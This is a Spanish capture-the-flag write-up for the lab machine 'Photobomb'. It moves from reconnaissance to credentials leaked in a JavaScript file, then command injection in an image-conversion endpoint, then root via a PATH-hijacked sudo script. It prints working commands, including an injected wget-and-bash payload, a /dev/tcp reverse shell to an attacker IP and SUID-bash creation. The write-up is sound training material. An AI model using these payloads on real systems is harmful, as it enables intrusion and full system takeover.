Descripción

Photobomb es una máquina fácil que cuenta con las siguientes vulnerabilidades:

  • Acceso a una página web restringida usando credenciales filtradas encontradas en un código fuente de JavaScript
  • Inyección de Comandos en un punto final web utilizado para convertir imágenes
  • Escalada de Privilegios mediante un script permitido para ser ejecutado como usuario root con binarios sin ruta absoluta y permitido usar variables de entorno personalizadas

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.182.

$ ping -c 3 10.10.11.182
PING 10.10.11.182 (10.10.11.182) 56(84) bytes of data.
64 bytes from 10.10.11.182: icmp_seq=1 ttl=63 time=42.4 ms
64 bytes from 10.10.11.182: icmp_seq=2 ttl=63 time=42.3 ms
64 bytes from 10.10.11.182: icmp_seq=3 ttl=63 time=41.5 ms

--- 10.10.11.182 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 41.472/42.060/42.385/0.416 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.10.11.182 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.182
Host is up (0.043s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Ahora hacemos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.182 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.182
Host is up (0.042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.48 seconds

Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio photobomb.htb al archivo /etc/hosts.

$ echo '10.10.11.182 photobomb.htb' | sudo tee -a /etc/hosts

Encontramos un sitio web sobre un negocio que vende regalos fotográficos de calidad premium. Tenemos un enlace a gent started que redirige al endpoint /printer, que requiere credenciales. Al leer el código fuente HTML de la página, encontramos los activos /photobomb.js, que contiene las credenciales para la página. El código verifica un cookie para rellenar las credenciales de acceso al soporte técnico. Se dirige a un elemento con clase creds y establece su href a una URL específica con nombre de usuario y contraseña codificados manualmente. Esto es probablemente utilizado para automatizar el inicio de sesión con fines de soporte. El nombre de usuario es pH0t0 y la contraseña b0Mb!.

$ curl 'http://photobomb.htb/photobomb.js'                                       
function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Ahora tenemos una galería de fotos que podemos descargar seleccionando el File type y la resolución. Cuando descargamos la imagen, se envía una solicitud HTTP POST al endpoint /printer con los siguientes datos: photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=png&dimensions=3000x2000.

Explotación

Suponemos que uno de los parámetros se envía a una línea de comandos para procesar la imagen original y luego convertirla. Después de algunos tests encontramos que el parámetro filetype es inyectable de comandos. Probamos esto creando un servidor HTTP con Python y luego realizando una solicitud a nuestro servidor.

$ curl -H 'Authorization: Basic cEgwdDA6YjBNYiE=' --data 'photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=png; curl 10.10.14.16 #&dimensions=3000x2000' 'http://photobomb.htb/printer'
Failed to generate a copy of mark-mc-neill-4xWHIpY2QcY-unsplash.jpg

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.182 - - "GET / HTTP/1.1" 200 -

Vamos a utilizar esta vulnerabilidad para spawnar una shell inversa al servidor iniciando un puerto TCP en escucha: nc -nvlp 1234.

$ echo 'bash -i >& /dev/tcp/10.10.14.16/1234 0>&1' > shell.sh
$ python -m http.server 80
$ curl -H 'Authorization: Basic cEgwdDA6YjBNYiE=' --data 'photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=png; wget -O /tmp/shell.sh http://10.10.14.16/shell.sh; bash /tmp/shell.sh #&dimensions=3000x2000' 'http://photobomb.htb/printer'

Recibimos una terminal inversa como el usuario wizard, la actualizamos.

$ nc -nvlp 1234                                        
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.182] 38130
bash: cannot set terminal process group (692): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
wizard@photobomb:~/photobomb$ ^Z
$ stty raw -echo; fg
$ reset xterm
wizard@photobomb:~/photobomb$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos que el usuario wizard tiene permisos para ejecutar un comando como el usuario root/opt/cleanup.sh y también tiene permiso para cambiar las variables de entorno utilizadas al ejecutar el comando.

wizard@photobomb:~/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:~/photobomb$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Encontramos que el comando find se está ejecutando sin especificar su ruta absoluta, /usr/bin/find, por lo que podemos reemplazar la variable PATH con un directorio personalizado para ejecutar cualquier archivo ejecutable. En este caso vamos a usar uno para crear un binario Bash SUID. Después de que el archivo se cree, podemos desplegar una terminal root.

wizard@photobomb:~/photobomb$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/tmp.zPIFLv1HCN/suid-bash; chmod u+s /tmp/tmp.zPIFLv1HCN/suid-bash' > /tmp/tmp.zPIFLv1HCN/find
wizard@photobomb:~/photobomb$ chmod +x /tmp/tmp.zPIFLv1HCN/find
wizard@photobomb:~/photobomb$ sudo PATH=/tmp/tmp.zPIFLv1HCN/:$PATH /opt/cleanup.sh
wizard@photobomb:~/photobomb$ ls  /tmp/tmp.zPIFLv1HCN/
find  suid-bash
wizard@photobomb:~/photobomb$ /tmp/tmp.zPIFLv1HCN/suid-bash -p
suid-bash-5.0# id
uid=1000(wizard) gid=1000(wizard) euid=0(root) groups=1000(wizard)

Flags

En la terminal root podemos recuperar las banderas user.txt y root.txt.

suid-bash-5.0# cat /home/wizard/user.txt 
<REDACTED>
suid-bash-5.0# cat /root/root.txt
<REDACTED>